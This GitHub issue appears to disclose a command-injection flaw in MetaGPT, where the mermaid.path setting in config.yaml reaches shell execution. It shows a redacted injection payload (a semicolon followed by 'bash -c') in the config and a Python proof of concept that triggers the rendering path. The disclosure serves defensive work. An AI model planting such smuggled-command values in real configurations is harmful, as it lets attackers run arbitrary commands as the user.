https://github.com/FoundationAgents/MetaGPT/issues/2037

TL;DR

I identified a command injection issue in MetaGPT's Mermaid rendering flow.

MetaGPT allows users to configure the Mermaid CLI executable through the mermaid.path field in config.yaml. That value is treated as a raw string and is later passed into shell-based execution in multiple places.

As a result, if an attacker can tamper with the Mermaid path configuration, they can inject arbitrary shell syntax and execute commands in the security context of the user running MetaGPT.

For example, a payload in the form below is sufficient in principle to achieve arbitrary command execution:

; bash -c '...' #

This issue is caused by unsafe command construction and shell execution, not by Mermaid itself.

Root Cause

The mermaid.path value is handled as a raw string and is later embedded into shell commands.

There are two unsafe execution points:

  1. metagpt/utils/common.py
  2. metagpt/utils/mermaid.py

Because both locations rely on shell parsing, the path field can contain shell metacharacters and injected commands.

Redacted Configuration Used During Testing

llm:
  api_type:"openai"
  base_url:""
  api_key:""
  model:""
  temperature:0.0
  stream:true
  reasoning:false
  timeout:600

repair_llm_output:true
prompt_schema:"json"

workspace:
  path:"/data/agent-sec/tmp/repos/MetaGPT/workspace"

mermaid:
  engine:"nodejs"
  # path: "mmdc"
  path:"mmdc; /bin/bash -c '...' #'"
  puppeteer_config:"~/.metagpt/puppeteer-config.json"

The payload above demonstrates that the configured executable path is interpreted as shell input rather than as a trusted executable path.

Proof of Concept Code

Below is a minimal Python PoC that triggers the Mermaid rendering path.

#!/usr/bin/env python3
import asyncio
from pathlib import Path

from metagpt.actions.design_api import WriteDesign
from metagpt.actions.write_prd import WritePRD
from metagpt.config2 import Config
from metagpt.context import Context

PROMPT = """
Generate a minimal PRD and system design for a Pomodoro task management web application.
""".strip()

async def main():
    cfg = Config.default(reload=True)
    ctx = Context(config=cfg)

    base = Path("/data/agent-sec/tmp/repos/MetaGPT/workspace/mermaid_flow")
    base.mkdir(parents=True, exist_ok=True)
    prd_path = base / "docs" / "prd.json"
    design_path = base / "docs" / "system_design.json"

    prd = WritePRD(context=ctx)
    prd_result = await prd.run(
        user_requirement=PROMPT,
        output_pathname=str(prd_path),
        extra_info="The output must reliably contain Mermaid diagram fields, and the diagram content itself must be directly renderable by Mermaid CLI.",
    )
    print(prd_result)

    design = WriteDesign(context=ctx)
    design_result = await design.run(
        user_requirement=PROMPT,
        prd_filename=str(prd_path),
        output_pathname=str(design_path),
        extra_info="To reiterate: the classDiagram and sequenceDiagram in the system design must be valid Mermaid syntax, without comments or explanatory prefixes/suffixes.",
    )
    print(design_result)

    expected = [
        base / "docs" / "prd-competitive-analysis.svg",
        base / "docs" / "system_design-class-diagram.svg",
        base / "docs" / "system_design-sequence-diagram.svg",
    ]
    for path in expected:
        print(f"{path} exists={path.exists()}")

if __name__ == "__main__":
    asyncio.run(main())